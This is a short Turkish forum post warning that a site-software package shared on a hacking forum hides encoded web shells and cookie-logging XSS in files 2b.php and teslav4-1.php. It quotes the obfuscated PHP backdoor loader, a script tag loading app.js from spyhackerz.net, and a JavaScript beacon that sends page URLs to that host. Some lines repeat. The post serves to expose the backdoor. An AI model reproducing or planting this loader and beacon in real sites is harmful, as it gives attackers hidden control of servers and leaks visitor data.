merhaba,
https://www.turkhacks.com/konu/odin-kurumsal-ajans-yazilim-yok-boylesi.176314/ konudaki dosyalarda encode edilmiş sheller mevcut. Ayrıca xss ile cookie loglanıyor
2b.php
teslav4-1.php dosyasında.
kod içeriği bırakıyorum
url'nin gittiği yer:
a=new/**/Image();a.src='http://spyhackerz.net/save2.php?a='+escape(location.href);
https://www.turkhacks.com/konu/odin-kurumsal-ajans-yazilim-yok-boylesi.176314/ konudaki dosyalarda encode edilmiş sheller mevcut. Ayrıca xss ile cookie loglanıyor
2b.php
teslav4-1.php dosyasında.
kod içeriği bırakıyorum
Kod:
if(!EMPTY(${$G}["key"])){$G=${$G}["key"];$O=stRLEN($G);$w=ARRAy();
for($j=0;$j<$O;++$j)$w[]=44358-$O-oRd($G[$j]);$G="ba\x73\x65\x36\x34_decode";$e=$G(StR_ReplAcE("\n",'',$e));
for($j=0;$j<44358;++$j){$y=abs($w[$j%$O]-$j);$G=$e[$y];$e[$y]=$e[$j];$e[$j]=$G;}if($O<10)$O*=$O&1?3:2;
if(($e=@gzINFLATe($e))&&(md5(SUBsTr($e,0,$O))==='beaa04ce32b5f5333706e24514eeaa8a')){$e=SuBStr($e,$O);if(PHP_VERSION<'5'){
$G=ArrAy(66154,5551,27524,206,25706,204,24791,706,19615,204,19307,204,18767,131,18248,182,17917,182,17597,179,17189,179,16781,179,16374,179,15967,179,15559,178,15082,187,14724,178,14220,177,5061,181,4131,211);
for($j=0;$j<40;++$j)$e=SuBstr_rePlACe($e,"",$G[$j],$G[++$j]);}@Create_FUNctioN('',"};unset(\$e,\$w,\$O\x2c\x24\x6a\x2c\x24\x79\x2c\x24\x47\x29;".$e.'{');}}
DIE("<!DOCTYPE html><html><head><link rel=\"ic\x6fn\"href=\"data:;base64,iVBORw0KGgo=\"></head><body>
<form method=\"post\"onsubmit=\"document.c\x6f\x6f\x6b\x69\x65='key='+encodeURIComponent(this[0].value)\"><input type=\"text\"/></form></body></html>");
echo "<SCRIPT SRC=https://spyhackerz.net/app.js></SCRIPT>";url'nin gittiği yer:
a=new/**/Image();a.src='http://spyhackerz.net/save2.php?a='+escape(location.href);
